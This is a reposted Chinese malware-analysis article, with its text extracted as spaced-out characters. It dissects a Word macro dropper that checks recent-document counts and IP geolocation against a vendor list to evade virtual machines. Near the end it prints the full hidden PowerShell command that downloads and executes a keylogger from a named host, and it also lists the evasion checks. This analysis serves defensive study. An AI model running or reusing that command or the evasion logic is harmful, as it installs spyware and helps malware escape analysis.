搜索

[10561] 2016-09-30_这个恶意软件“奇葩”的反虚拟机技巧

文档创建者：s7ckTeam
浏览次数：9
最后更新：2025-01-18
2016-09-30_这个恶意软件“奇葩”的反虚拟机技巧 这 个 恶 意 软 件 “ 奇 葩 ” 的 反 虚 拟 机 技 巧 c l o u d s   F r e e B u f   2 0 1 6 - 0 9 - 3 0 最 近 ， 我 分 析 到 一 个 行 为 异 常 的 恶 意 软 件 样 本 。 由 于 很 难 发 现 该 恶 意 软 件 的 真 实 行 为 ， 所 以 我 花 了 很 多 时 间 去 调 试 分 析 。 然 而 在 分 析 过 程 中 ， 又 有 多 种 因 素 会 导 致 运 行 崩 溃 和 异 常 。 在 此 ， 我 就 发 表 了 对 该 恶 意 软 件 反 虚 拟 机 的 一 些 技 术 。 样 本 信 息 样 本 信 息 恶 意 软 件 样 本 文 件 名 为 “ I n t e l l i g e n t   S o f t w a r e   S o l u t i o n s   I n c . d o c “ ， 其 S H A 2 5 6 值 为 ： 以 下 是 样 本 文 件 打 开 运 行 时 的 示 例 ： 如 果 这 看 起 来 不 太 可 疑 ， 请 看 其 代 码 视 图 ： 0 4 8 f c 0 7 f b 9 4 a 7 4 9 9 0 d 2 d 2 b 8 e 9 2 c 0 9 9 f 3 f 9 8 6 a f 1 8 5 c 3 2 d 7 4 c 8 5 7 b 0 7 f 7 f c c e 7 f 8 e
这 是 一 个 经 典 的 教 科 书 式 的 W O R D 恶 意 软 件 ， 它 没 有 实 质 内 容 ， 但 包 括 了 经 过 混 淆 的 可 执 行 代 码 ， 看 上 去 非 常 简 洁 。 分 析 调 查 分 析 调 查 从 代 码 层 面 来 看 ， 顶 部 的 分 支 程 序 像 是 程 序 的 执 行 入 口 ， 很 有 可 能 是 当 W O R D 文 档 被 打 开 后 ， 点 击 “ e n a b l e   c o n t e n e t ”   执 行 A c t i v e   X 控 件 的 操 作 ， 最 终 ， 程 序 会 排 错 调 用 I u I x p P 子 程 序 。 技 巧 ： 技 巧 ： 在 子 程 序   I u I x p P 中 ， 分 别 调 用 了 两 个 方 法 D K T x H E   和   q r N j Y ， 并 抛 出 不 同 的 执 行 错 误 。 其 中 ， D K T x H E   功 能 为 ：
R e c e n t F i l e s 对 象 表 示 系 统 最 近 打 开 过 的 历 史 文 档 。 通 常 ， 安 装 了 w o r d 程 序 的 用 户 可 能 会 打 开 超 过 2 个 或 更 多 数 量 的 文 档 。 然 而 ， 当 该 恶 意 软 件 植 入 到 新 创 建 的 虚 拟 机 和 w o r d 环 境 中 后 ， 总 是 状 况 不 断 ， 不 能 正 常 运 行 。 每 次 测 试 时 手 动 打 开 一 两 次 ， 总 是 出 现 程 序 异 常 。 即 使 是 保 存 了 虚 拟 机 镜 像 状 态 ， 重 启 调 试 分 析 后 ， 恶 意 程 序 仍 然 不 能 正 常 执 行 。 从 D K T x H E 函 数 功 能 可 以 看 出 ， 恶 意 软 件 以 R e c e n t F i l e s 数 量 来 判 断 是 否 身 处 V M 环 境 中 ， 如 果 在 V M 环 境 中 ， 它 将 不 会 执 行 任 何 恶 意 行 为 ， 非 常 “ 聪 明 ” 。 之 后 ， 我 随 意 创 建 了 3 个 不 同 名 称 的 w o r d 文 档 ， 逐 一 打 开 并 关 闭 ， 让 历 史 文 档 数 量 为 3 ， 最 终 成 功 运 行 并 检 测 到 了 恶 意 软 件 。 原 因 很 明 了 ， 虚 拟 机 环 境 一 般 缺 乏 多 个 W o r d 文 档 ， 恶 意 程 序 通 过 探 测 最 近 打 开 的 历 史 文 档 数 量 ， 判 断 是 否 处 于 V M 环 境 中 ， 如 果 在 最 近 打 开 文 档 数 量 内 发 现 只 有 3 个 以 下 的 w o r d 文 档 ， 就 会 拒 绝 执 行 。 技 巧 ： 技 巧 ： 在 另 一 个 子 程 序   q r N j Y 中 ， 恶 意 软 件 通 过 探 测 I P 信 息 来 识 别 V M 环 境 。 首 先 ， 它 通 过 向 远 程 地 址 发 出 某 种 认 证 请 求 ， 之 后 设 置 请 求 信 息 中 的 H T T P   R e f e r 属 性 和 U s e r - A g e n t 值 ， 访 问 链 接 ： 以 此 获 取 宿 主 系 统 的 地 址 信 息 ， 如 ： 获 取 信 息 封 装 于 J S O N 格 式 文 件 中 ， 包 含 国 家 、 城 市 、 或 者 与 I P 相 关 的 组 织 机 构 等 信 息 。 如 ： h t t p s : / / w w w . m a x m i n d . c o m / g e o i p / v 2 . 1 / c i t y / m e h t t p s : / / w w w . m a x m i n d . c o m / e n / l o c a t e - m y - i p - a d d r e s s {     " l o c a t i o n " :   {         " l a t i t u d e " :   3 0 . 7 8 5 8 ,         " l o n g i t u d e " :   - 1 0 2 . 1 2 3 2 ,         " m e t r o _ c o d e " :   7 0 5 ,         " a c c u r a c y _ r a d i u s " :   5 ,         " t i m e _ z o n e " :   " A m e r i c a / L o s _ A n g e l e s "     } ,     " c o n t i n e n t " :   {         " n a m e s " :   {             " j a " :   " 北 ア メ リ カ " ,             " p t - B R " :   " A m é r i c a   d o   N o r t e " ,             " d e " :   " N o r d a m e r i k a " ,             " e s " :   " N o r t e a m é r i c a " ,             " r u " :   " С е в е р н а я   А м е р и к а " ,             " f r " :   " A m é r i q u e   d u   N o r d " ,             " z h - C N " :   " 北 美 洲 " ,             " e n " :   " N o r t h   A m e r i c a "         } ,
        } ,         " c o d e " :   " N A " ,         " g e o n a m e _ i d " :   6 2 5 5 1 4 9     } ,     " c i t y " :   {         " n a m e s " :   {             " p t - B R " :   " O a k l a n d " ,             " d e " :   " O a k l a n d " ,             " e s " :   " O a k l a n d " ,             " j a " :   " オ ー ク ラ ン ド " ,             " e n " :   " O a k l a n d " ,             " r u " :   " О к л е н д " ,             " f r " :   " O a k l a n d " ,             " z h - C N " :   " 奥 克 兰 "         } ,         " g e o n a m e _ i d " :   5 3 7 8 5 3 8     } ,     " p o s t a l " :   {         " c o d e " :   " 9 4 6 1 9 "     } ,     " c o u n t r y " :   {         " n a m e s " :   {             " r u " :   " С Ш А " ,             " f r " :   " é t a t s - U n i s " ,             " z h - C N " :   " 美 国 " ,             " e n " :   " U n i t e d   S t a t e s " ,             " j a " :   " ア メ リ カ 合 衆 国 " ,             " e s " :   " E s t a d o s   U n i d o s " ,             " p t - B R " :   " E s t a d o s   U n i d o s " ,             " d e " :   " U S A "         } ,         " i s o _ c o d e " :   " U S " ,         " g e o n a m e _ i d " :   6 2 5 2 0 0 1     } ,     " t r a i t s " :   {         " o r g a n i z a t i o n " :   " C o m c a s t   C a b l e " ,         " i s p " :   " C o m c a s t   C a b l e " ,         " i p _ a d d r e s s " :   " 1 2 3 . 1 2 3 . 1 2 3 . 1 2 3 " ,         " a u t o n o m o u s _ s y s t e m _ o r g a n i z a t i o n " :   " C o m c a s t   C a b l e   C o m m u n i c a t i o n s ,   L L C " ,         " d o m a i n " :   " c o m c a s t . n e t " ,         " a u t o n o m o u s _ s y s t e m _ n u m b e r " :   7 9 2 2     } ,     " r e g i s t e r e d _ c o u n t r y " :   {         " g e o n a m e _ i d " :   6 2 5 2 0 0 1 ,         " n a m e s " :   {             " z h - C N " :   " 美 国 " ,             " r u " :   " С Ш А " ,             " f r " :   " é t a t s - U n i s " ,             " e n " :   " U n i t e d   S t a t e s " ,             " j a " :   " ア メ リ カ 合 衆 国 " ,             " p t - B R " :   " E s t a d o s   U n i d o s " ,             " d e " :   " U S A " ,             " e s " :   " E s t a d o s   U n i d o s "         } ,         " i s o _ c o d e " :   " U S "     } ,     " s u b d i v i s i o n s " :   [         {             " g e o n a m e _ i d " :   5 3 3 2 9 2 1 ,             " n a m e s " :   {                 " r u " :   " К а л и ф о р н и я " ,                 " f r " :   " C a l i f o r n i e " ,                 " z h - C N " :   " 加 利 福 尼 亚 州 " ,                 " e n " :   " C a l i f o r n i a " ,                 " j a " :   " カ リ フ ォ ル ニ ア 州 " ,                 " p t - B R " :   " C a l i f ó r n i a " ,                 " e s " :   " C a l i f o r n i a " ,                 " d e " :   " K a l i f o r n i e n "             } ,             " i s o _ c o d e " :   " C A "         }     ] }
在 以 上 示 例 文 件 中 ， I P 信 息 的 o r g a n i z a t i o n 字 段 显 示 为 美 国 C o m c a s t 宽 带 网 络 供 应 商 。 恶 意 软 件 发 出 访 问 请 求 后 ， 获 取 到 宿 主 系 统 的 相 关 信 息 将 存 储 于 某 个 数 组 中 。 如 果 获 取 到 的 组 织 机 构 名 称 与 以 下 J S O N 文 件 中 的 任 何 机 构 字 符 串 匹 配 ， 恶 意 软 件 将 发 生 异 常 并 停 止 运 行 。 当 然 ， 上 述 列 表 中 的 机 构 名 称 在 代 码 中 是 经 过 混 淆 的 ： 以 上 信 息 表 明 ， 恶 意 程 序 通 过 检 查 ， 是 否 有 网 络 服 务 商 或 杀 毒 软 件 公 司 相 关 的 I P 地 址 运 行 V M 虚 拟 机 对 其 进 行 调 试 分 析 ， 如 果 有 ， 将 停 止 运 行 。 P A Y L O A D 如 果 恶 意 程 序 发 现 宿 主 系 统 有 3 个 或 以 上 的 W o r d 最 近 打 开 文 档 ， 将 会 执 行 远 程 下 载 解 盘 记 录 程 序 的 P o w e r S h e l l 脚 本 ： h t t p : / / s i l k f l o w e r s d e c o r d e s i g n . c o m / a d m i n / w o r d d a t a . d a t 中 涉 及 的 w o r d d a t a . d a t 是 一 个 轻 量 级 的 键 盘 记 录 程 序 ， S H A 2 5 6 为 1 9 d 8 8 4 d 3 b 6 8 8 a b f 8 e 2 8 4 d 3 b c 6 a 0 6 8 1 7 0 9 6 d 1 5 5 9 2 b c d 7 3 f 8 5 a 0 e 4 b 7 9 7 4 9 f 2 a 7 4 4 。 A m a z o n a n o n y m o u s B i t D e f e n d e r B l a c k O a k C o m p u t e r s B l u e   C o a t B l u e C o a t C i s c o c l o u d D a t a   C e n t e r D a t a C e n t e r D a t a C e n t r e d e d i c a t e d E S E T ,   S p o l F i r e E y e F o r c e P o i n t F o r t i n e t H e t z n e r h i s p e e d . c h h o s t e d H o s t i n g I r o n   P o r t I r o n P o r t L e a s e W e b M e s s a g e L a b s M i c r o s o f t M i m e C a s t N F o r c e O v h   S a s P a l o   A l t o P r o o f P o i n t R a c k s p a c e s e c u r i t y S e r v e r S t r o n g   T e c h n o l o g i e s T r e n d   M i c r o T r e n d M i c r o T r u s t W a v e V M V a u l t Z s c a l e r p o w e r s h e l l . e x e   - E x e c u t i o n P o l i c y   B y p a s s   - W i n d o w S t y l e   H i d d e n   - c o m m a n d   $ f = [ S y s t e m . I O . P a t h ] : : G e t T e m p F i l e N a m e ( ) ; ( N e w - O b j e c t   S y s t e m . N e t . W e b C l i e n t ) . D o w n l o a d F i l e ( ' h t t p : / / s i l k f l o w e r s d e c o r d e s i g n . c o m / a d m i n / w o r d d a t a . d a t ' ,   $ f ) ; ( N e w - O b j e c t   - c o m   W S c r i p t . S h e l l ) . E x e c ( $ f )
其 它 其 它 R e s e a r c h e r s   a t   P r o o f p o i n t   和 D e e p e n   D e s a i   a t   z s c a l e r 两 篇 文 章 都 对   a n t i - v m 和 a n t i - s a n d b o x 做 了 深 入 讨 论 ， 这 些 技 术 涉 及 到 了 不 同 种 类 的 恶 意 软 件 ， 它 们 或 许 代 表 了 V B A 恶 意 软 件 的 一 种 发 展 趋 势 。 当 然 ， 看 雪 论 坛 的 一 篇 经 典 文 章 《 虚 拟 机 检 测 技 术 剖 析 》 ， 也 是 非 常 值 得 学 习 的 。 * 参 考 来 源 ： S e n t i n e l o n e ,   * F B 小 编 c l o u d s 编 译 ， 未 经 许 可 禁 止 转 载 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理